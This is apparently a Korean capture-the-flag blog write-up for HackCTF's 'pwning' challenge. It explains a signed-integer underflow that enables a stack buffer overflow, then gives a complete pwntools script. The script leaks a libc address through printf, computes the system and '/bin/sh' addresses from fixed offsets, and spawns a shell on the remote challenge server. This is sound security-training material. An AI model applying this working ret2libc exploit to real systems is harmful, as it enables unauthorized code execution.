WAR GAME/HackCTF

[HackCTF : Pwnable] pwning풀이 (32bit, underflow)

jir4vvit 2021. 4. 15. 14:42

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

하마터면 못풀뻔했다.


주어진 파일은 문제파일 바이너리

 

Analysis

일단 실행

쓰고싶은 바이트 수를 쓰고 그 바이트만큼 쓸 수 있다.

IDA 

main은 간단하다. vuln 함수 하나 있다.

 

여기서 주목해야할 건 v2 변수가 int라는 것이다. 그래서 -1을 입력하게되면 언더플로우가 발생해서 겁나 큰 수가 되게 된다. 

 

get_n 함수는.. getchar()함수를 이용해서 '\n' 오기 전까지 입력받는 거다.

 

(사실 저런 수 입력하는거 보면 -1 입력하고 싶은 욕구(?)가 생겨서 코드보기전에 일단 -1부터 눌러봤다 ㅋㅋ)

 

 

How to exploit

-1를 입력하여 BOF를 트리거 하여 ROP해주면 될 듯하다.

리모트로 익스하려면 libc 버전이 필요하다. 립시 데이타베이스에서 해당 버전을 찾아준 후, 립시를 다운받아서 풀거나, offset을 이용해서도 문제를 풀 수 있다.

 

나는 다운받기 귀찮아서 처음으로 offset 계산을 해서 풀어봤는데, 앞으로도 이 방법을 종종 사용할 듯 하다.

 

함수의 got를 leak하고 받아오는 과정은 매우 일반적이지만 나에겐 아직 익숙하지 못한 것 같다.

 

32bit

leak = u32(p.recv(4))

32bit에서는 주소가 4바이트라서 4바이트를 가져와야 한다.ㅎㅎ;

 

Let's exploit

from pwn import *

#p = process('./pwning')
p = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('./pwning')
#libc = e.libc

printf_plt = e.plt['printf']
printf_got = e.got['printf']
atoi_got = e.got['atoi']
vuln = e.symbols['vuln']

payload = ''
payload += 'a' * (0x2C+0x4)
payload += p32(printf_plt)
payload += p32(vuln)
payload += p32(atoi_got)

p.sendlineafter('? ', '-1')
pause()
p.sendlineafter('\n', payload)

#print payload
#str = 'You said: '
#p.recv(len(str)+len(payload))
p.recvuntil('\n')
atoi_addr = u32(p.recv(4))
log.info('atoi_addr : '+hex(atoi_addr))

#libc_base = printf_addr - libc.symbols['printf']
system_addr = atoi_addr + 0xd8f0
binsh_addr = atoi_addr + 0x12bfdb
log.info('system_addr : '+hex(system_addr))
log.info('binsh_addr : '+hex(binsh_addr))

payload = ''
payload += 'a' * (0x2C+0x4)
payload += p32(system_addr)
payload += 'bbbb'
payload += p32(binsh_addr)

p.sendlineafter('? ', '-1')
p.sendlineafter('\n', payload)


p.interactive()